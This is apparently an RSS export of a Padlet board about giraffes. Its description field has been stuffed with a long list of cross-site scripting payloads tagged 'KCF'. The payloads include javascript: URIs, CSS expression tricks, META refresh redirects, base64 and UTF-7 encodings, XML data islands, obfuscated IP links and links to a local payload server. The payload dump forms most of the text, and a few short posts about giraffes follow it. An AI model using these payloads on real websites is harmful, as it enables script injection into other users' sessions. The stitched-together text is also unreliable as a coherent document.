&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;KCF&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;KCF

&lt;IMG SRC=&#39;vbscript:msgbox(1)&#39;&gt;

&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;

&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;



&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(1);&quot;&gt;

&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=&quot;&gt;

&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(1);&quot;&gt;

&lt;IFRAME SRC=&quot;javascript:alert(1);&quot;&gt;&lt;/IFRAME&gt;

&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(1);&quot;&gt;&lt;/FRAMESET&gt;

&lt;TABLE BACKGROUND=&quot;javascript:alert(1)&quot;&gt;

&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(1)&quot;&gt;


&lt;DIV STYLE=&quot;background-image: url(javascript:alert(1))&quot;&gt;

&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&#39;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&#39;\0029&quot;&gt;

&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(1))&quot;&gt;

&lt;DIV STYLE=&quot;width: expression(alert(1));&quot;&gt;

&lt;STYLE&gt;@im\port&#39;\ja\vasc\ript:alert(1)&#39;;&lt;/STYLE&gt;

&lt;IMG STYLE=&quot;KCF:expr/*KCF*/ession(alert(1))&quot;&gt;

&lt;KCF STYLE=&quot;KCF:expression(alert(1))&quot;&gt;

exp/*&lt;A STYLE=&#39;no\KCF:noKCF(&quot;*//*&quot;);

&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(1);&lt;/STYLE&gt;

&lt;STYLE&gt;.KCF{background-image:url(&quot;javascript:alert(1)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=KCF&gt;&lt;/A&gt;

&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(1)&quot;)}&lt;/STYLE&gt;

&lt;SCRIPT&gt;alert(1);&lt;/SCRIPT&gt;

&lt;BASE HREF=&quot;javascript:alert(1);//&quot;&gt;

&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.html&quot;&gt;&lt;/OBJECT&gt;

&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(1)&gt;&lt;/OBJECT&gt;

&lt;EMBED SRC=&quot;data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=&quot; type=&quot;image/svg+xml&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;

a=&quot;get&quot;;
b=&quot;URL(\&quot;&quot;;
c=&quot;javascript:&quot;;
d=&quot;alert(1);\&quot;)&quot;;
eval(a+b+c+d);

&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(1);&quot;&gt;]]&gt;

&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;

&lt;XML ID=0&gt;&lt;I&gt;&lt;B&gt;&amp;lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(1)&quot;&amp;gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;

&lt;SPAN DATASRC=&quot;#KCF&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;

&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;

&lt;HTML&gt;&lt;BODY&gt;

&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt;

&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt;

&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;KCF&amp;lt;SCRIPT DEFER&amp;gt;alert(&amp;quot;KCF&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&gt;

&lt;/BODY&gt;&lt;/HTML&gt;

&lt;? echo(&#39;&lt;SCR)&#39;;

echo(&#39;IPT&gt;alert(1)&lt;/SCRIPT&gt;&#39;); ?&gt;

&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert(1)&amp;lt;/SCRIPT&amp;gt;&quot;&gt;

&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-

&lt;A HREF=&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;http://1113982867/&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;http://0102.0146.0007.00000223/&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;h
tt	p://6&amp;#9;6.000146.0x7.147/&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;//127.0.0.1:3555/xss_serve_payloads/kcf.html&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.html&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.html./&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;javascript:document.location=&#39;http://127.0.0.1:3555/xss_serve_payloads/kcf.html&#39;&quot;&gt;KCF&lt;/A&gt;

&lt;A HREF=&quot;http://www.keralacyberhttp://www.keralacyberforce.in/force.in/&quot;&gt;KCF&lt;/A&gt;

X





XXX

alert(1)





X

alert(1)//0



&lt;image src=&quot;javascript:alert(1)&quot;&gt;

&lt;div style=width:1px;filter:glow onfilterchange=alert(1)&gt;x&lt;/div&gt;

&lt;? foo=&quot;&gt;&lt;script&gt;alert(1)&quot;&gt; 

alert(1)&quot;&gt; 

 foo=&quot;&gt;alert(1)&quot;&gt;

 foo=&quot;&gt;&quot;&gt;









 d.innerHTML=d.innerHTML



XXX









 



 


{} *{color:red}











&lt;img src=&quot;

 

</description>
      <language>en-us</language>
      <pubDate>2019-05-14 17:51:05 UTC</pubDate>
      <lastBuildDate>2023-06-01 14:43:56 UTC</lastBuildDate>
      <webMaster>hello@padlet.com</webMaster>
      <image>
         <url>https://padletuploads.blob.core.windows.net/prod/91810442/4eab4ab0d7f4cb776574703dd4e24fd6/giraffe_icon.svg</url>
      </image>
      <item>
         <title>Where in Africa do they live?</title>
         <author>amanmahendra635</author>
         <link>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031298</link>
         <description><![CDATA[<div>Giraffes are the national animal of Tanzania.</div>]]></description>
         <enclosure url="http://www.jumathegiraffe.com/uploads/5/5/7/7/5577192/2631726_orig.png" />
         <pubDate>2019-05-14 17:51:05 UTC</pubDate>
         <guid>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031298</guid>
      </item>
      <item>
         <title>What do they eat?</title>
         <author>amanmahendra635</author>
         <link>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031300</link>
         <description><![CDATA[<div>Giraffes are herbivores, which means they eat only plants. Their long necks allow them to reach leaves, buds and branches high up in the trees.</div>]]></description>
         <enclosure url="https://padletuploads.blob.core.windows.net/prod/91810442/798c7e38f4e9cb9c53b05537f8319361/file.png" />
         <pubDate>2019-05-14 17:51:05 UTC</pubDate>
         <guid>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031300</guid>
      </item>
      <item>
         <title>Where in Africa do they live?</title>
         <author>amanmahendra635</author>
         <link>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031301</link>
         <description><![CDATA[]]></description>
         <enclosure url="" />
         <pubDate>2019-05-14 17:51:05 UTC</pubDate>
         <guid>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031301</guid>
      </item>
      <item>
         <title>What do they eat?</title>
         <author>amanmahendra635</author>
         <link>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031302</link>
         <description><![CDATA[]]></description>
         <enclosure url="" />
         <pubDate>2019-05-14 17:51:05 UTC</pubDate>
         <guid>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031302</guid>
      </item>
      <item>
         <title>How to they sleep?</title>
         <author>amanmahendra635</author>
         <link>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031304</link>
         <description><![CDATA[]]></description>
         <enclosure url="" />
         <pubDate>2019-05-14 17:51:05 UTC</pubDate>
         <guid>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031304</guid>
      </item>
      <item>
         <title>They are from Africa</title>
         <author>amanmahendra635</author>
         <link>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031305</link>
         <description><![CDATA[]]></description>
         <enclosure url="" />
         <pubDate>2019-05-14 17:51:05 UTC</pubDate>
         <guid>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031305</guid>
      </item>
      <item>
         <title>They are very tall</title>
         <author>amanmahendra635</author>
         <link>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031306</link>
         <description><![CDATA[]]></description>
         <enclosure url="http://www.jumathegiraffe.com/uploads/5/5/7/7/5577192/7568118_orig.png" />
         <pubDate>2019-05-14 17:51:05 UTC</pubDate>
         <guid>https://padlet.com/amanmahendra635/nayn6hskvx27/wish/360031306</guid>
      </item>
   </channel>
</rss>
